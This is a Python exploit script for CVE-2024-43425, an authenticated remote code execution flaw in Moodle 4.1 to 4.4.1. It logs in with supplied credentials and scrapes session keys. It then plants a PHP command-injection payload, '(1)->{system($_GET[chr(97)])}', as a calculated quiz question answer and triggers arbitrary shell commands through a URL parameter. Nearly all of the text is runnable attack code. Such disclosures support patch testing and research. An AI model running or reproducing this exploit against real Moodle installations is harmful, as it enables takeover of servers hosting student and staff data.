# Exploit Title: Moodle 4.4.0 - Authenticated Remote Code Execution # Exploit Author: Likhith Appalaneni # Vendor Homepage: https://moodle.org # Software Link: https://github.com/moodle/moodle/releases/tag/v4.4.0 # Tested Version: Moodle 4.4.0 # Affected versions: 4.4 to 4.4.1, 4.3 to 4.3.5, 4.2 to 4.2.8, 4.1 to 4.1.11 # Tested On: Ubuntu 22.04, Apache2, PHP 8.2 # CVE: CVE-2024-43425 # References: # - https://github.com/aninfosec/CVE-2024-43425-Poc # - https://nvd.nist.gov/vuln/detail/CVE-2024-43425 import argparse import requests import re import sys import subprocess from bs4 import BeautifulSoup import urllib.parse requests.packages.urllib3.disable_warnings() def get_login_token(session, login_url): print("[*] Step 1: GET /login/index.php to extract login token") try: response = session.get(login_url, verify=False) if response.status_code != 200: print(f"[-] Unexpected status code {response.status_code} when accessing login page") sys.exit(1) except Exception as e: print(f"[-] Error connecting to {login_url}: {e}") sys.exit(1) soup = BeautifulSoup(response.text, "html.parser") token_input = soup.find("input", {"name": "logintoken"}) if not token_input or not token_input.get("value"): print("[-] Failed to extract login token from HTML") sys.exit(1) token = token_input["value"] print(f"[+] Found login token: {token}") return token def perform_login(session, login_url, username, password, token): print("[*] Step 2: POST /login/index.php with credentials") login_payload = { "anchor": "", "logintoken": token, "username": username, "password": password, } try: response = session.post( login_url, data=login_payload, headers={"Content-Type": "application/x-www-form-urlencoded"}, verify=False, ) if response.status_code not in [200, 303]: print(f"[-] Unexpected response code during login: {response.status_code}") sys.exit(1) except Exception as e: print(f"[-] Login POST failed: {e}") sys.exit(1) if "MoodleSession" not in session.cookies.get_dict(): print("[-] Login may have failed: MoodleSession cookie missing") sys.exit(1) print("[+] Logged in successfully.") def get_quiz_info(session, base_url, cmid): print("[*] Extracting sesskey, courseContextId, and category from quiz edit page...") quiz_edit_url = f"{base_url}/mod/quiz/edit.php?cmid={cmid}" try: resp = session.get(quiz_edit_url, verify=False) if resp.status_code != 200: print(f"[-] Failed to load quiz edit page. Status: {resp.status_code}") sys.exit(1) # Extract sesskey sesskey_match = re.search(r'"sesskey":"([a-zA-Z0-9]+)"', resp.text) # Extract courseContextId ctxid_match = re.search(r'"courseContextId":(\d+)', resp.text) # Extract category category_match = re.search(r';category=(\d+)', resp.text) if not (sesskey_match and ctxid_match and category_match): print("[-] Could not extract sesskey, courseContextId, or category") print(resp.text[:1000]) sys.exit(1) sesskey = sesskey_match.group(1) ctxid = ctxid_match.group(1) category = category_match.group(1) print(f"[+] Found sesskey: {sesskey}") print(f"[+] Found courseContextId: {ctxid}") print(f"[+] Found category: {category}") return sesskey, ctxid, category except Exception as e: print(f"[-] Exception while extracting quiz info: {e}") sys.exit(1) def upload_calculated_question(session, base_url, sesskey, cmid, courseid, category, ctxid): print("[*] Step 3: Uploading calculated question with payload...") url = f"{base_url}/question/bank/editquestion/question.php" payload = "(1)->{system($_GET[chr(97)])}" post_data = { "initialcategory": 1, "reload": 1, "shuffleanswers": 1, "answernumbering": "abc", "mform_isexpanded_id_answerhdr": 1, "noanswers": 1, "nounits": 1, "numhints": 2, "synchronize": "", "wizard": "datasetdefinitions", "id": "", "inpopup": 0, "cmid": cmid, "courseid": courseid, "returnurl": f"/mod/quiz/edit.php?cmid={cmid}&addonpage=0", "mdlscrollto": 0, "appendqnumstring": "addquestion", "qtype": "calculated", "makecopy": 0, "sesskey": sesskey, "_qf__qtype_calculated_edit_form": 1, "mform_isexpanded_id_generalheader": 1, "category": f"{category},{ctxid}", "name": "exploit", "questiontext[text]": "<p>test</p>", "questiontext[format]": 1, "questiontext[itemid]": 623548580, "status": "ready", "defaultmark": 1, "generalfeedback[text]": "", "generalfeedback[format]": 1, "generalfeedback[itemid]": 21978947, "answer[0]": payload, "fraction[0]": 1.0, "tolerance[0]": 0.01, "tolerancetype[0]": 1, "correctanswerlength[0]": 2, "correctanswerformat[0]": 1, "feedback[0][text]": "", "feedback[0][format]": 1, "feedback[0][itemid]": 281384971, "unitrole": 3, "penalty": 0.3333333, "hint[0][text]": "", "hint[0][format]": 1, "hint[0][itemid]": 812786292, "hint[1][text]": "", "hint[1][format]": 1, "hint[1][itemid]": 795720000, "tags": "_qf__force_multiselect_submission", "submitbutton": "Save changes" } try: res = session.post(url, data=post_data, verify=False, allow_redirects=False) if res.status_code in [302, 303] and "Location" in res.headers and "&id=" in res.headers["Location"]: print("[+] Question upload request sent. Extracting question ID from redirect.") qid = re.search(r"&id=(\d+)", res.headers["Location"]) if not qid: print("[-] Could not extract question ID from redirect.") sys.exit(1) return qid.group(1) else: print(f"[-] Upload failed. Status code: {res.status_code}") sys.exit(1) except Exception as e: print(f"[-] Upload exception: {e}") sys.exit(1) def post_dataset_wizard(session, base_url, question_id, sesskey, cmid, courseid, category, ctxid): print("[*] Step 4: Completing dataset wizard with dataset[0]=0") wizard_url = f"{base_url}/question/bank/editquestion/question.php?wizardnow=datasetdefinitions" data_payload = { "id": question_id, "inpopup": 0, "cmid": cmid, "courseid": courseid, "returnurl": f"/mod/quiz/edit.php?cmid={cmid}&addonpage=0", "mdlscrollto": 0, "appendqnumstring": "addquestion", "category": f"{category},{ctxid}", "wizard": "datasetitems", "sesskey": sesskey, "_qf__question_dataset_dependent_definitions_form": 1, "dataset[0]": 0, "synchronize": 0, "submitbutton": "Next page" } try: res = session.post(wizard_url, data=data_payload, verify=False) if res.status_code == 200: print("[+] Dataset wizard POST submitted.") return False elif "Exception - system(): Argument #1 ($command) cannot be empty" in res.text: print("[+] Reached expected error page. Payload is being interpreted.") return True else: print(f"[-] Dataset wizard POST failed with status: {res.status_code}") return False except Exception as e: print(f"[-] Exception during dataset wizard step: {e}") return False def trigger_rce(session, base_url, question_id, category, cmid, courseid, cmd): print("[*] Step 5: Triggering command: {cmd}") encoded = urllib.parse.quote(cmd) trigger_url = ( f"{base_url}/question/bank/editquestion/question.php?id={question_id}" f"&category={category}&cmid={cmid}&courseid={courseid}" f"&wizardnow=datasetitems&returnurl=%2Fmod%2Fquiz%2Fedit.php%3Fcmid%3D{cmid}%26addonpage%3D0" f"&appendqnumstring=addquestion&mdlscrollto=0&a={encoded}" ) try: resp = session.get(trigger_url, verify=False) print("[+] Trigger request sent. Output below:\n") lines = resp.text.splitlines() output_lines = [] for line in lines: if "<html" in line.lower(): break if line.strip(): output_lines.append(line.strip()) print("[+] Command output (top lines):") print("\n".join(output_lines[:2]) if output_lines else "[!] No output detected.") except Exception as e: print(f"[-] Error triggering command: {e}") sys.exit(1) def main(): parser = argparse.ArgumentParser(description="Moodle CVE-2024-43425 Exploit") parser.add_argument("--url", required=True, help="Target Moodle base URL") parser.add_argument("--username", required=True, help="Moodle username") parser.add_argument("--password", required=True, help="Moodle password") parser.add_argument("--courseid", required=True, help="Course ID") parser.add_argument("--cmid", required=True, help="Course Module ID (Quiz)") parser.add_argument("--cmd", required=True, help="Command to execute remotely (e.g., 'whoami' or 'cat /flag')") args = parser.parse_args() session = requests.Session() login_url = f"{args.url.rstrip('/')}/login/index.php" token = get_login_token(session, login_url) perform_login(session, login_url, args.username, args.password, token) sesskey, ctxid, category = get_quiz_info(session, args.url.rstrip('/'), args.cmid) question_id = upload_calculated_question(session, args.url.rstrip('/'), sesskey, args.cmid, args.courseid, category, ctxid) if not post_dataset_wizard(session, args.url.rstrip('/'), question_id, sesskey, args.cmid, args.courseid, category, ctxid): sys.exit(1) trigger_rce(session, args.url.rstrip('/'), question_id, category, args.cmid, args.courseid, args.cmd) if __name__ == "__main__": main()